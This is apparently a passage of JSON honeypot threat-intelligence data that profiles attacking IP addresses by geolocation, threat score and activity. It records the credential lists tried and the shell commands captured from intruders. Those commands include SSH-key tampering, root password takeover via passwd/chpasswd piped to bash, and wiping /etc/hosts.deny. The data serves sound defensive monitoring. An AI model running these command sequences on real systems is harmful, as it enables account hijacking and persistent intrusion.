        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456a\\nFlNxFNURrScT\\nFlNxFNURrScT\\n\"|passwd",
        "echo \"odoo23!\\nV1sSXSwgjjKJ\\nV1sSXSwgjjKJ\\n\"|passwd",
        "echo \"root\\ncxoG3S85ZwvS\\ncxoG3S85ZwvS\\n\"|passwd",
        "echo -e \"123456a\\nFlNxFNURrScT\\nFlNxFNURrScT\"|passwd|bash",
        "echo -e \"odoo23!\\nV1sSXSwgjjKJ\\nV1sSXSwgjjKJ\"|passwd|bash",
        "echo -e \"root\\ncxoG3S85ZwvS\\ncxoG3S85ZwvS\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Mexico City",
      "asn": 22884,
      "as_org": "TOTAL PLAY TELECOMUNICACIONES SA DE CV",
      "threat_score": 61.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 27.9,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 619,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T01:00:19.831000+00:00",
        "last_seen_30d": "2026-04-30T04:26:04.600000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 482,
        "Suricata": 137
      }
    },
    "103.86.180.10": {
      "attack_count": 440,
      "first_seen": "2026-04-24T18:32:54.603Z",
      "last_seen": "2026-04-27T17:55:58.391Z",
      "sessions": 53,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "user1",
        "ahmed",
        "ali",
        "demouser",
        "dev",
        "ftpuser",
        "khalid",
        "mailuser",
        "mcserver",
        "oracle",
        "test1",
        "teste",
        "vincent"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "0001",
        "08642",
        "123456",
        "123admin***",
        "A123456k",
        "Aa112211.",
        "Abc1234!",
        "Pa$$w0rd",
        "Password1!",
        "Qazwsx111111@123",
        "Qwerty123.",
        "Qwerty4esz",
        "Rejuve20242024!",
        "Root2024#$",
        "Welcome2026",
        "Yp123456",
        "Z!A!Q!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Password1!\\njmBzdv7akvI7\\njmBzdv7akvI7\\n\"|passwd",
        "echo \"root:srUWZFk3ONVw\"|chpasswd|bash",
        "echo \"root:to18eWbgF0P1\"|chpasswd|bash",
        "echo -e \"Password1!\\njmBzdv7akvI7\\njmBzdv7akvI7\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 136284,
      "as_org": "Paradise Telecom Pvt Ltd",
      "threat_score": 38.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.5,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 557,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T18:32:54.603000+00:00",
        "last_seen_30d": "2026-04-27T17:57:02.202000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 440,
        "Suricata": 117
      }
    },
    "116.99.168.61": {
      "attack_count": 401,
      "first_seen": "2026-04-11T11:16:25.652Z",
      "last_seen": "2026-04-11T11:34:18.623Z",
      "sessions": 79,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "support",
        "ubnt",
        "user",
        "ace",
        "anton",
        "ashish",
        "auto",
        "btf",
        "config",
        "cpanel",
        "ftp",
        "ftpuser",
        "george",
        "geral",
        "guest1",
        "help",
        "helpdesk",
        "install"
      ],
      "passwords_attempted": [
        "admin",
        "1234",
        "123456",
        "admin123",
        "039715582364317",
        "0l0ctyQh243O63uD",
        "1",
        "1111",
        "123",
        "12345",
        "1234567890%*()",
        "321start",
        "72b1bd75ac87852a",
        "abc123",
        "abcdefg",
        "ace",
        "admin1",
        "admin@123",
        "administrator",
        "andrew"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.7,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 584,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T11:16:25.652000+00:00",
        "last_seen_30d": "2026-04-11T11:35:27.138000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 401,
        "Suricata": 183
      }
    },
    "103.59.94.82": {
      "attack_count": 397,
      "first_seen": "2026-04-23T06:57:25.625Z",
      "last_seen": "2026-04-23T09:50:48.414Z",
      "sessions": 56,
      "ports": [],
      "usernames_attempted": [
        "root",
        "steam",
        "ubuntu",
        "345gs5662d34",
        "ali",
        "user",
        "admin1234",
        "appuser",
        "as",
        "azure",
        "carlos",
        "cistest",
        "ctf",
        "dev",
        "example",
        "ftpuser",
        "matheus",
        "n8n",
        "odoo",
        "postgres"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "0123456789",
        "1212",
        "123123123",
        "12345678",
        "123456789Ab",
        "Abcd123456789@123",
        "Admin123@",
        "Love@123",
        "Master@2025",
        "N8n06!",
        "Odoo123!",
        "Password123!@",
        "Qazwsx11111!@#",
        "Qwe2026@",
        "Qwerty@123",
        "Root01#$",
        "Root54321@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Qwerty@123\\n9IMuLDuaWYqZ\\n9IMuLDuaWYqZ\\n\"|passwd",
        "echo \"root:LFOBHZD89RXJ\"|chpasswd|bash",
        "echo -e \"Qwerty@123\\n9IMuLDuaWYqZ\\n9IMuLDuaWYqZ\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 30.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 521,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T06:57:25.625000+00:00",
        "last_seen_30d": "2026-04-23T09:51:50.046000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 397,
        "Suricata": 124
      }
    },
    "117.211.76.94": {
      "attack_count": 329,
      "first_seen": "2026-04-21T15:14:16.797Z",
      "last_seen": "2026-04-21T15:56:46.502Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "barcelona",
        "dd",
        "ftpuser",
        "hjh",
        "newuser",
        "oracle",
        "sammy",
        "space",
        "weuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456a",
        "2wsx3EDC",
        "Abcd12345!",
        "Ftpuser15!",
        "Guest2025",
        "Oracle6",
        "Qazwsx12!",
        "Qazwsx654321#",
        "Root9999@#",
        "Sammy01!",
        "Tencent@2025",
        "Testtest1",
        "barcelona",
        "dd",
        "hjh123",
        "iloveyou",
        "qazwsx0@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:IyAGpPZcaeHC\"|chpasswd|bash",
        "echo \"root:M9Gtd4tKisPw\"|chpasswd|bash",
        "echo \"root:uaXb8uJheIt5\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mysuru",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 398,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T15:14:16.797000+00:00",
        "last_seen_30d": "2026-04-21T15:57:51.834000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 329,
        "Suricata": 69
      }
    },
    "77.221.144.127": {
      "attack_count": 329,
      "first_seen": "2026-04-12T01:59:30.982Z",
      "last_seen": "2026-04-12T02:39:05.252Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ftpuser",
        "345gs5662d34",
        "test",
        "admin",
        "bot",
        "brandon",
        "claude",
        "gerrit",
        "mark",
        "webuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "112233",
        "1122334455",
        "123",
        "1qaz2wsx@#",
        "999999",
        "Abcd1234567$",
        "Bc123456",
        "Bot!",
        "Ftpuser28!",
        "QWE",
        "Root21",
        "Root321!",
        "abcd1234!@#$",
        "admin124",
        "admin12@#",
        "brandon",
        "changeme",
        "claude31"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:AB5dN6Bs036g\"|chpasswd|bash",
        "echo \"root:SMGcEIMHeiO8\"|chpasswd|bash",
        "echo \"test6\\ncHAXqIvvcw62\\ncHAXqIvvcw62\\n\"|passwd",
        "echo -e \"test6\\ncHAXqIvvcw62\\ncHAXqIvvcw62\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": null,
      "asn": 216300,
      "as_org": "Closed Joint Stock Company AbkhazMedia",
      "threat_score": 15.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 399,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T01:59:30.982000+00:00",
        "last_seen_30d": "2026-04-12T02:40:06.042000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 329,
        "Suricata": 70
      }
    },
    "130.12.180.174": {
      "attack_count": 324,
      "first_seen": "2026-04-01T02:03:37.078Z",
      "last_seen": "2026-04-26T07:58:18.957Z",
      "sessions": 162,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 202412,
      "as_org": "Omegatech LTD",
      "threat_score": 53.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.4,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 692,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T02:03:37.078000+00:00",
        "last_seen_30d": "2026-04-26T07:59:24.592000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 368,
        "Cowrie": 324
      }
    },
    "163.7.9.84": {
      "attack_count": 304,
      "first_seen": "2026-04-28T08:00:55.853Z",
      "last_seen": "2026-04-28T08:47:31.233Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "test"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "*963.*963",
        "123456#@!",
        "123ewqasdcxz",
        "123wwwrun",
        "147",
        "2026@lekLAeLK",
        "GfhnytH",
        "Kuanfan@021",
        "Pass@word!",
        "asdfg!@#$%",
        "envision",
        "hzzt@2025",
        "minecraft123",
        "p@ssw0rd@123!",
        "q1w2e3r4t5",
        "r00t1234567890",
        "redhat@2026",
        "root"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:0Dt07jTAnnVc\"|chpasswd|bash",
        "echo \"root:IjWAdtXJznC6\"|chpasswd|bash",
        "echo \"root:Y6AZT39LAMdR\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 35.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 364,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T08:00:55.853000+00:00",
        "last_seen_30d": "2026-04-28T08:48:33.242000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 304,
        "Suricata": 60
      }
    },
    "103.149.27.208": {
      "attack_count": 288,
      "first_seen": "2026-04-30T04:07:27.460Z",
      "last_seen": "2026-04-30T04:51:03.504Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "345gs5662d34",
        "admin",
        "git",
        "minecraft",
        "user",
        "user1",
        "ali",
        "bitrix",
        "bwadmin",
        "deployer",
        "esadmin",
        "ftpuser",
        "ldapuser",
        "mailtest",
        "nisuser",
        "oracle",
        "reza",
        "root",
        "test"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456ddd",
        "1234qwer",
        "1qaz3edc",
        "3bb",
        "Aa123456",
        "P@55wOrd",
        "P@ssW0rd",
        "Passw0rd",
        "Welcome",
        "Zxc12345",
        "bukkit",
        "danihack000",
        "esadmin123",
        "ftp1234",
        "gituser123",
        "ldapuser",
        "letmein"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"gituser123\\nzxAV5CqlQGcp\\nzxAV5CqlQGcp\\n\"|passwd",
        "echo \"qwerty123\\nAKABfk7A6Q0C\\nAKABfk7A6Q0C\\n\"|passwd",
        "echo -e \"gituser123\\nzxAV5CqlQGcp\\nzxAV5CqlQGcp\"|passwd|bash",
        "echo -e \"qwerty123\\nAKABfk7A6Q0C\\nAKABfk7A6Q0C\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 38.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 362,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T04:07:27.460000+00:00",
        "last_seen_30d": "2026-04-30T04:52:11.234000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 288,
        "Suricata": 74
      }
    },
    "190.221.50.123": {
      "attack_count": 262,
      "first_seen": "2026-04-17T02:58:36.696Z",
      "last_seen": "2026-04-17T03:48:32.904Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "ftpuser",
        "steam",
        "admin",
        "agotoz",
        "deploy",
        "elasticsearch",
        "rundeck",
        "student",
        "test",
        "webuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#$%^&*",
        "123456.asd",
        "12345678",
        "1234rewq",
        "123qweasd",
        "GU3ST",
        "Qazwsx0000$",
        "Qazwsx123321!",
        "Qazwsx2025#",
        "Qazwsx999$",
        "Root654321!!",
        "Test2026",
        "Welcome123",
        "ZAQ!2wsx2025#$",
        "a1234567j",
        "admin1..",
        "agotoz",
        "asdfghjkl"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234rewq\\n6VtTw5jPeHT0\\n6VtTw5jPeHT0\\n\"|passwd",
        "echo \"root:Bvd1s4qIuJ2V\"|chpasswd|bash",
        "echo -e \"1234rewq\\n6VtTw5jPeHT0\\n6VtTw5jPeHT0\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": null,
      "asn": 11664,
      "as_org": "Techtel LMDS Comunicaciones Interactivas S.A.",
      "threat_score": 21.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 329,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T02:58:36.696000+00:00",
        "last_seen_30d": "2026-04-17T03:49:41.526000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 67
      }
    },
    "94.156.221.46": {
      "attack_count": 262,
      "first_seen": "2026-04-04T22:47:16.497Z",
      "last_seen": "2026-04-04T23:46:20.032Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "odoo",
        "parth",
        "bart",
        "claude",
        "coco",
        "dev",
        "elasticsearch",
        "mpi",
        "mytest",
        "opuser",
        "oracle",
        "pesteste",
        "postgres",
        "spring",
        "teamspeak",
        "testing",
        "ubuntu",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "111222",
        "123456789",
        "252525",
        "BBbb000",
        "China123",
        "Claude01!",
        "Odoo2025!@#",
        "Postgres18!",
        "QQzz111",
        "Qazwsx2021@#",
        "User2025",
        "bart2025",
        "coco",
        "elasticsearch",
        "mpi",
        "mytest",
        "odoo12",
        "opuser"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"parth@123\\naHyXaA1aqaOG\\naHyXaA1aqaOG\\n\"|passwd",
        "echo \"root:4JFsE65shf4P\"|chpasswd|bash",
        "echo -e \"parth@123\\naHyXaA1aqaOG\\naHyXaA1aqaOG\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": "Sofia",
      "asn": 34224,
      "as_org": "Neterra Ltd.",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 329,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T22:47:16.497000+00:00",
        "last_seen_30d": "2026-04-04T23:47:24.156000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 67
      }
    },
    "143.202.209.23": {
      "attack_count": 236,
      "first_seen": "2026-04-27T12:04:16.758Z",
      "last_seen": "2026-04-27T13:00:00.053Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1a2s3d",
        "1q2w3e4rewq",
        "3edcedc",
        "@Rq92u8fjewRweqf45y43tgh3",
        "Corona4Ever",
        "Gabita23",
        "admin123pzhgjj",
        "admin@12345678",
        "dahua@2024",
        "forbidden",
        "h0st1ng",
        "j09j3m3m01n3g",
        "jenkins1234567890",
        "kalimero4cappy",
        "l3tme1n",
        "m0v3over",
        "r9xh*yH*DcEFQE",
        "redhat72"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
